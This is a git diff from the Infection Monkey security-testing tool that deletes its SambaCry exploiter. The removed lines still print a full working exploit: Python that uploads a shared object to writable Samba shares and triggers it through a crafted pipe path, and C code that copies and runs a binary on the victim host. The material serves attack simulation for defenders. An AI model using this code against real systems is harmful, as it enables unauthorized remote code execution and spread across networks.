diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8756926f1..996db0518 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -242,22 +242,6 @@ class Configuration(object): smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" - # Timeout (in seconds) for sambacry's trigger to yield results. - sambacry_trigger_timeout = 5 - # Folder paths to guess share lies inside. - sambacry_folder_paths_to_guess = [ - "/", - "/mnt", - "/tmp", - "/storage", - "/export", - "/share", - "/shares", - "/home", - ] - # Shares to not check if they're writable. - sambacry_shares_not_to_check = ["IPC$", "print$"] - ########################### # post breach actions ########################### diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 1cd4dc9d5..cadcb8e8d 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -33,7 +33,6 @@ "WmiExploiter", "ShellShockExploiter", "ElasticGroovyExploiter", - "SambaCryExploiter", "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", @@ -67,9 +66,6 @@ "exploit_lm_hash_list": [], "exploit_ntlm_hash_list": [], "exploit_ssh_keys": [], - "sambacry_trigger_timeout": 5, - "sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"], - "sambacry_shares_not_to_check": ["IPC$", "print$"], "local_network_scan": false, "tcp_scan_get_banner": true, "tcp_scan_interval": 0, diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py deleted file mode 100644 index a1cc9fa3d..000000000 --- a/monkey/infection_monkey/exploit/sambacry.py +++ /dev/null @@ -1,548 +0,0 @@ -import itertools -import logging -import posixpath -import re -import time -from io import BytesIO - -import impacket.smbconnection -from impacket.nmb import NetBIOSError -from impacket.nt_errors import STATUS_SUCCESS -from impacket.smb import ( - FILE_DIRECTORY_FILE, - FILE_NON_DIRECTORY_FILE, - FILE_OPEN, - FILE_READ_DATA, - FILE_SHARE_READ, - FILE_WRITE_DATA, - SMB, - SMB_DIALECT, - SessionError, - SMBCommand, - SMBNtCreateAndX_Data, - SMBNtCreateAndX_Parameters, -) -from impacket.smb3structs import ( - SMB2_CREATE, - SMB2_FLAGS_DFS_OPERATIONS, - SMB2_IL_IMPERSONATION, - SMB2_OPLOCK_LEVEL_NONE, - SMB2Create, - SMB2Create_Response, - SMB2Packet, -) -from impacket.smbconnection import SMBConnection - -import infection_monkey.monkeyfs as monkeyfs -from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os -from infection_monkey.model import DROPPER_ARG -from infection_monkey.network.smbfinger import SMB_SERVICE -from infection_monkey.network.tools import get_interface_to_target -from infection_monkey.pyinstaller_utils import get_binary_file_path -from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -from infection_monkey.utils.commands import build_monkey_commandline - -logger = logging.getLogger(__name__) - - -class SambaCryExploiter(HostExploiter): - """ - SambaCry exploit module, partially based on the following implementation by CORE Security - Technologies' impacket: - https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py - """ - - _TARGET_OS_TYPE = ["linux"] - _EXPLOITED_SERVICE = "Samba" - # Name of file which contains the monkey's commandline - SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" - # Name of file which contains the runner's result - SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result" - # SambaCry runner filename (32 bit) - SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so" - # SambaCry runner filename (64 bit) - SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so" - # Monkey filename on share (32 bit) - SAMBACRY_MONKEY_FILENAME_32 = "monkey32" - # Monkey filename on share (64 bit) - SAMBACRY_MONKEY_FILENAME_64 = "monkey64" - # Supported samba port - SAMBA_PORT = 445 - - def __init__(self, host): - super(SambaCryExploiter, self).__init__(host) - - def _exploit_host(self): - if not self.is_vulnerable(): - return False - - writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr) - logger.info( - "Writable shares and their credentials on host %s: %s" - % (self.host.ip_addr, str(writable_shares_creds_dict)) - ) - - self.exploit_info["shares"] = {} - for share in writable_shares_creds_dict: - self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} - self.try_exploit_share(share, writable_shares_creds_dict[share]) - - # Wait for samba server to load .so, execute code and create result file. - time.sleep(self._config.sambacry_trigger_timeout) - - successfully_triggered_shares = [] - - for share in writable_shares_creds_dict: - trigger_result = self.get_trigger_result( - self.host.ip_addr, share, writable_shares_creds_dict[share] - ) - creds = writable_shares_creds_dict[share] - self.report_login_attempt( - trigger_result is not None, - creds["username"], - creds["password"], - creds["lm_hash"], - creds["ntlm_hash"], - ) - if trigger_result is not None: - successfully_triggered_shares.append((share, trigger_result)) - url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % { - "username": creds["username"], - "host": self.host.ip_addr, - "port": self.SAMBA_PORT, - "share_name": share, - } - self.add_vuln_url(url) - self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) - - for share, fullpath in successfully_triggered_shares: - self.exploit_info["shares"][share]["fullpath"] = fullpath - - if len(successfully_triggered_shares) > 0: - logger.info( - "Shares triggered successfully on host %s: %s" - % (self.host.ip_addr, str(successfully_triggered_shares)) - ) - self.add_vuln_port(self.SAMBA_PORT) - return True - else: - logger.info("No shares triggered successfully on host %s" % self.host.ip_addr) - return False - - def try_exploit_share(self, share, creds): - """ - Tries exploiting share - :param share: share name - :param creds: credentials to use with share - """ - try: - smb_client = self.connect_to_server(self.host.ip_addr, creds) - self.upload_module(smb_client, share) - self.trigger_module(smb_client, share) - except (impacket.smbconnection.SessionError, SessionError): - logger.debug( - "Exception trying to exploit host: %s, share: %s, with creds: %s." - % (self.host.ip_addr, share, str(creds)) - ) - - def clean_share(self, ip, share, creds): - """ - Cleans remote share of any remaining files created by monkey - :param ip: IP of victim - :param share: share name - :param creds: credentials to use with share. - """ - smb_client = self.connect_to_server(ip, creds) - tree_id = smb_client.connectTree(share) - file_list = [ - self.SAMBACRY_COMMANDLINE_FILENAME, - self.SAMBACRY_RUNNER_RESULT_FILENAME, - self.SAMBACRY_RUNNER_FILENAME_32, - self.SAMBACRY_RUNNER_FILENAME_64, - self.SAMBACRY_MONKEY_FILENAME_32, - self.SAMBACRY_MONKEY_FILENAME_64, - ] - - for filename in file_list: - try: - smb_client.deleteFile(share, "\\%s" % filename) - except (impacket.smbconnection.SessionError, SessionError): - # Ignore exception to try and delete as much as possible - pass - smb_client.disconnectTree(tree_id) - - def get_trigger_result(self, ip, share, creds): - """ - Checks if the trigger yielded any result and returns it. - :param ip: IP of victim - :param share: share name - :param creds: credentials to use with share. - :return: result of trigger if there was one. None otherwise - """ - smb_client = self.connect_to_server(ip, creds) - tree_id = smb_client.connectTree(share) - file_content = None - try: - file_id = smb_client.openFile( - tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA - ) - file_content = smb_client.readFile(tree_id, file_id) - smb_client.closeFile(tree_id, file_id) - except (impacket.smbconnection.SessionError, SessionError): - pass - - smb_client.disconnectTree(tree_id) - return file_content - - def get_writable_shares_creds_dict(self, ip): - """ - Gets dictionary of writable shares and their credentials - :param ip: IP address of the victim - :return: Dictionary of writable shares and their corresponding credentials. - """ - writable_shares_creds_dict = {} - credentials_list = self.get_credentials_list() - - logger.debug("SambaCry credential list: %s" % str(credentials_list)) - - for credentials in credentials_list: - try: - smb_client = self.connect_to_server(ip, credentials) - shares = self.list_shares(smb_client) - - # don't try shares we can already write to. - for share in [x for x in shares if x not in writable_shares_creds_dict]: - if self.is_share_writable(smb_client, share): - writable_shares_creds_dict[share] = credentials - - except (impacket.smbconnection.SessionError, SessionError, NetBIOSError): - # If failed using some credentials, try others. - pass - - return writable_shares_creds_dict - - def get_credentials_list(self): - creds = self._config.get_exploit_user_password_or_hash_product() - - creds = [ - {"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash} - for user, password, lm_hash, ntlm_hash in creds - ] - - # Add empty credentials for anonymous shares. - creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""}) - - return creds - - def list_shares(self, smb_client): - shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()] - return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] - - def is_vulnerable(self): - """ - Checks whether the victim runs a possibly vulnerable version of samba - :return: True if victim is vulnerable, False otherwise - """ - if SMB_SERVICE not in self.host.services: - logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr) - return False - - pattern = re.compile(r"\d*\.\d*\.\d*") - smb_server_name = self.host.services[SMB_SERVICE].get("name") - if not smb_server_name: - logger.info("Host: %s refused SMB connection" % self.host.ip_addr) - return False - samba_version = "unknown" - pattern_result = pattern.search(smb_server_name) - is_vulnerable = False - if pattern_result is not None: - samba_version = smb_server_name[pattern_result.start() : pattern_result.end()] - samba_version_parts = samba_version.split(".") - if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"): - is_vulnerable = True - elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"): - is_vulnerable = True - elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "4") - and (samba_version_parts[1] <= "13") - ): - is_vulnerable = True - elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "5") - and (samba_version_parts[1] <= "9") - ): - is_vulnerable = True - elif ( - (samba_version_parts[0] == "4") - and (samba_version_parts[1] == "6") - and (samba_version_parts[1] <= "3") - ): - is_vulnerable = True - else: - # If pattern doesn't match we can't tell what version it is. Better try - is_vulnerable = True - - logger.info( - "Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" - % (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)) - ) - - return is_vulnerable - - def upload_module(self, smb_client, share): - """ - Uploads the module and all relevant files to server - :param smb_client: smb client object - :param share: share name - """ - tree_id = smb_client.connectTree(share) - - with self.get_monkey_commandline_file( - self._config.dropper_target_path_linux - ) as monkey_commandline_file: - smb_client.putFile( - share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read - ) - - with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: - smb_client.putFile( - share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read - ) - - with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: - smb_client.putFile( - share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read - ) - - monkey_bin_32_src_path = get_target_monkey_by_os(False, True) - monkey_bin_64_src_path = get_target_monkey_by_os(False, False) - - with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file: - smb_client.putFile( - share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read - ) - - with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file: - smb_client.putFile( - share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read - ) - T1105Telem( - ScanStatus.USED, - get_interface_to_target(self.host.ip_addr), - self.host.ip_addr, - monkey_bin_64_src_path, - ).send() - smb_client.disconnectTree(tree_id) - - def trigger_module(self, smb_client, share): - """ - Tries triggering module - :param smb_client: smb client object - :param share: share name - :return: True if might triggered successfully, False otherwise. - """ - trigger_might_succeeded = False - module_possible_paths = self.generate_module_possible_paths(share) - for module_path in module_possible_paths: - trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) - - return trigger_might_succeeded - - def trigger_module_by_path(self, smb_client, module_path): - """ - Tries triggering module by path - :param smb_client: smb client object - :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" - :return: True if might triggered successfully, False otherwise. - """ - - try: - # the extra / on the beginning is required for the vulnerability - self.open_pipe(smb_client, "/" + module_path) - except Exception as e: - # This is the expected result. We can't tell whether we succeeded or not just by this - # error code. - if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: - return True - else: - pass - - return False - - def generate_module_possible_paths(self, share_name): - """ - Generates array of possible paths - :param share_name: Name of the share - :return: Array of possible full paths to the module. - """ - sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess - file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64] - return [ - posixpath.join(*x) - for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names) - ] - - def get_monkey_runner_bin_file(self, is_32bit): - if is_32bit: - return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb") - else: - return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb") - - def get_monkey_commandline_file(self, location): - return BytesIO( - DROPPER_ARG - + build_monkey_commandline( - self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location) - ) - ) - - @staticmethod - def is_share_writable(smb_client, share): - """ - Checks whether the share is writable - :param smb_client: smb client object - :param share: share name - :return: True if share is writable, False otherwise. - """ - logger.debug("Checking %s for write access" % share) - try: - tree_id = smb_client.connectTree(share) - except (impacket.smbconnection.SessionError, SessionError): - return False - - try: - smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) - writable = True - except (impacket.smbconnection.SessionError, SessionError): - writable = False - pass - - smb_client.disconnectTree(tree_id) - - return writable - - @staticmethod - def connect_to_server(ip, credentials): - """ - Connects to server using given credentials - :param ip: IP of server - :param credentials: credentials to log in with - :return: SMBConnection object representing the connection - """ - smb_client = SMBConnection(ip, ip) - smb_client.login( - credentials["username"], - credentials["password"], - "", - credentials["lm_hash"], - credentials["ntlm_hash"], - ) - return smb_client - - # Following are slightly modified SMB functions from impacket to fit our needs of the - # vulnerability # - @staticmethod - def create_smb( - smb_client, - treeId, - fileName, - desiredAccess, - shareMode, - creationOptions, - creationDisposition, - fileAttributes, - impersonationLevel=SMB2_IL_IMPERSONATION, - oplockLevel=SMB2_OPLOCK_LEVEL_NONE, - createContexts=None, - ): - - packet = smb_client.getSMBServer().SMB_PACKET() - packet["Command"] = SMB2_CREATE - packet["TreeID"] = treeId - if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True: - packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS - - smb2Create = SMB2Create() - smb2Create["SecurityFlags"] = 0 - smb2Create["RequestedOplockLevel"] = oplockLevel - smb2Create["ImpersonationLevel"] = impersonationLevel - smb2Create["DesiredAccess"] = desiredAccess - smb2Create["FileAttributes"] = fileAttributes - smb2Create["ShareAccess"] = shareMode - smb2Create["CreateDisposition"] = creationDisposition - smb2Create["CreateOptions"] = creationOptions - - smb2Create["NameLength"] = len(fileName) * 2 - if fileName != "": - smb2Create["Buffer"] = fileName.encode("utf-16le") - else: - smb2Create["Buffer"] = b"\x00" - - if createContexts is not None: - smb2Create["Buffer"] += createContexts - smb2Create["CreateContextsOffset"] = ( - len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"] - ) - smb2Create["CreateContextsLength"] = len(createContexts) - else: - smb2Create["CreateContextsOffset"] = 0 - smb2Create["CreateContextsLength"] = 0 - - packet["Data"] = smb2Create - - packetID = smb_client.getSMBServer().sendSMB(packet) - ans = smb_client.getSMBServer().recvSMB(packetID) - if ans.isValidAnswer(STATUS_SUCCESS): - createResponse = SMB2Create_Response(ans["Data"]) - - # The client MUST generate a handle for the Open, and it MUST - # return success and the generated handle to the calling application. - # In our case, str(FileID) - return str(createResponse["FileID"]) - - @staticmethod - def open_pipe(smb_client, pathName): - # We need to overwrite Impacket's openFile functions since they automatically convert - # paths to NT style - # to make things easier for the caller. Not this time ;) - treeId = smb_client.connectTree("IPC$") - logger.debug("Triggering path: %s" % pathName) - - if smb_client.getDialect() == SMB_DIALECT: - _, flags2 = smb_client.getSMBServer().get_flags() - - pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName - - ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) - ntCreate["Parameters"] = SMBNtCreateAndX_Parameters() - ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2) - ntCreate["Parameters"]["FileNameLength"] = len(pathName) - ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA - ntCreate["Parameters"]["FileAttributes"] = 0 - ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ - ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE - ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN - ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION - ntCreate["Parameters"]["SecurityFlags"] = 0 - ntCreate["Parameters"]["CreateFlags"] = 0x16 - ntCreate["Data"]["FileName"] = pathName - - if flags2 & SMB.FLAGS2_UNICODE: - ntCreate["Data"]["Pad"] = 0x0 - - return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) - else: - return SambaCryExploiter.create_smb( - smb_client, - treeId, - pathName, - desiredAccess=FILE_READ_DATA, - shareMode=FILE_SHARE_READ, - creationOptions=FILE_OPEN, - creationDisposition=FILE_NON_DIRECTORY_FILE, - fileAttributes=0, - ) diff --git a/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh deleted file mode 100755 index aba122d76..000000000 --- a/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env bash -gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c -gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o -rm sc_monkey_runner.o -strip sc_monkey_runner64.so -gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c -gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o -rm sc_monkey_runner.o -strip sc_monkey_runner32.so \ No newline at end of file diff --git a/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c deleted file mode 100644 index 91f529e9c..000000000 --- a/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c +++ /dev/null @@ -1,163 +0,0 @@ -#include -#include -#include -#include -#include - -#include "sc_monkey_runner.h" - -#ifdef __x86_64__ - #define ARCH_IS_64 -#endif - -#ifdef _____LP64_____ - #define ARCH_IS_64 -#endif - -#define LINE_MAX_LENGTH (2048) -#define MAX_PARAMETERS (30) - -int samba_init_module(void) -{ -#ifdef ARCH_IS_64 - const char RUNNER_FILENAME[] = "sc_monkey_runner64.so"; - const char MONKEY_NAME[] = "monkey64"; -#else - const char RUNNER_FILENAME[] = "sc_monkey_runner32.so"; - const char MONKEY_NAME[] = "monkey32"; -#endif - const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result"; - const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; - const int ACCESS_MODE = 0777; - const char RUN_MONKEY_CMD[] = "./"; - const char MONKEY_DEST_FOLDER[] = "/tmp"; - const char MONKEY_DEST_NAME[] = "monkey"; - - int found = 0; - char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; - char commandline[LINE_MAX_LENGTH] = {'\0'}; - char* monkeyDirectory = NULL; - char* fileNamePointer = NULL; - FILE * pFile = NULL; - pid_t pid = 0; - int monkeySize = 0; - void* monkeyBinary = NULL; - struct stat fileStats; - - pid = fork(); - - if (0 != pid) - { - // error or this is parent - nothing to do but return. - return 0; - } - - // Find fullpath of running module. - pFile = fopen("/proc/self/maps", "r"); - if (NULL == pFile) - { - return 0; - } - - while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { - fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); - if (fileNamePointer != NULL) { - found = 1; - break; - } - } - - fclose(pFile); - - // We can't find ourselves in module list - if (0 == found) - { - return 0; - } - - monkeyDirectory = strchr(modulePathLine, '/'); - *fileNamePointer = '\0'; - - if (0 != chdir(monkeyDirectory)) - { - return 0; - } - - // Write file to indicate we're running - pFile = fopen(RUNNER_RESULT_FILENAME, "w"); - if (NULL == pFile) - { - return 0; - } - - fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); - fclose(pFile); - - // Read commandline - pFile = fopen(COMMANDLINE_FILENAME, "r"); - if (NULL == pFile) - { - return 0; - } - - // Build commandline - snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME); - - fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); - fclose(pFile); - - if (0 != stat(MONKEY_NAME, &fileStats)) - { - return 0; - } - - monkeySize = (int)fileStats.st_size; - - // Copy monkey to new file so we'll own it. - pFile = fopen(MONKEY_NAME, "rb"); - - if (NULL == pFile) - { - return 0; - } - - monkeyBinary = malloc(monkeySize); - - if (NULL == monkeyBinary) - { - return 0; - } - - fread(monkeyBinary, 1, monkeySize, pFile); - fclose(pFile); - - if (0 != chdir(MONKEY_DEST_FOLDER)) - { - return 0; - } - - pFile = fopen(MONKEY_DEST_NAME, "wb"); - if (NULL == pFile) - { - free(monkeyBinary); - return 0; - } - fwrite(monkeyBinary, 1, monkeySize, pFile); - fclose(pFile); - free(monkeyBinary); - - // Change monkey permissions - if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE)) - { - return 0; - } - - system(commandline); - - return 0; -} - -int init_samba_module(void) -{ - return samba_init_module(); -} \ No newline at end of file diff --git a/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h deleted file mode 100644 index 85300310f..000000000 --- a/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef monkey_runner_h__ -#define monkey_runner_h__ - -extern int samba_init_module(void); -extern int init_samba_module(void); - -#endif // monkey_runner_h__ diff --git a/monkey/infection_monkey/pyinstaller_utils.py b/monkey/infection_monkey/pyinstaller_utils.py deleted file mode 100644 index 60a097ab0..000000000 --- a/monkey/infection_monkey/pyinstaller_utils.py +++ /dev/null @@ -1,23 +0,0 @@ -import os -import sys - - -def get_binaries_dir_path(): - """ - Gets the path to the binaries dir (files packaged in pyinstaller if it was used, - infection_monkey dir otherwise) - :return: Binaries dir path - """ - if getattr(sys, "frozen", False): - return sys._MEIPASS - else: - return os.path.dirname(os.path.abspath(__file__)) - - -def get_binary_file_path(filename): - """ - Gets the path to a binary file - :param filename: name of the file - :return: Path to file - """ - return os.path.join(get_binaries_dir_path(), filename) diff --git a/monkey/infection_monkey/readme.md b/monkey/infection_monkey/readme.md index 29816d941..45488404f 100644 --- a/monkey/infection_monkey/readme.md +++ b/monkey/infection_monkey/readme.md @@ -3,10 +3,7 @@ >To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder. >If you want to setup dev. env. for the Monkey manually, refer to the instructions below. -The monkey is composed of three separate parts. - -- The Infection Monkey itself - PyInstaller compressed python archives -- Sambacry binaries - Two linux binaries, 32/64 bit. +The monkey is a PyInstaller compressed python archives. ## Windows @@ -18,18 +15,15 @@ The monkey is composed of three separate parts. - Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different) `setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts` - Close the console, make sure you execute all commands in a new cmd console from now on. -2. Install further dependencies +1. Install further dependencies - if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package - 32bit: - 64bit: -3. Download the dependent python packages using +1. Download the dependent python packages using `pip install -r requirements.txt` -4. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe: +1. Download and extract UPX binary to monkey\infection_monkey\bin\upx.exe: -5. Build/Download Sambacry - - Build/Download according to sections at the end of this readme. - - Place the binaries under monkey\infection_monkey\bin -6. To build the final exe: +1. To build the final exe: - `cd monkey\infection_monkey` - `build_windows.bat` - output is placed under `dist\monkey32.exe` or `dist\monkey64.exe` depending on your version of Python @@ -37,7 +31,7 @@ The monkey is composed of three separate parts. ## Linux Tested on Ubuntu 16.04. -0. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa: +1. On older distributions of Ubuntu (16.04) you'll need to download python3.7 via ppa: - `sudo add-apt-repository ppa:deadsnakes/ppa` - `sudo apt-get update` - `sudo apt install python3.7` @@ -47,37 +41,18 @@ Tested on Ubuntu 16.04. - `python3.7 -m pip install pip` - `sudo apt-get install python3.7-dev libffi-dev upx libssl-dev libc++1` -2. Install the python packages listed in requirements.txt using pip +1. Install the python packages listed in requirements.txt using pip - `cd [code location]/infection_monkey` - `python3.7 -m pipenv lock -r --dev > requirements.txt` - `python3.7 -m pip install -r requirements.txt` -3. Build Sambacry binaries - - Build/Download according to sections at the end of this readme. - - Place the binaries under [code location]/infection_monkey/bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so' - -4. To build, run in terminal: +1. To build, run in terminal: - `cd [code location]/infection_monkey` - `chmod +x build_linux.sh` - `pipenv run ./build_linux.sh` output is placed under `dist/monkey32` or `dist/monkey64` depending on your version of python -### Sambacry - -Sambacry requires two standalone binaries to execute remotely. - -1. Build sambacry binaries yourself - - Install gcc-multilib if it's not installed `sudo apt-get install gcc-multilib` - - Build the binaries - 1. `cd [code location]/infection_monkey/exploit/sambacry_monkey_runner` - 2. `./build.sh` - -2. Download our pre-built sambacry binaries - - Available here: - - 32bit: - - 64bit: - ### Troubleshooting Some of the possible errors that may come up while trying to build the infection monkey: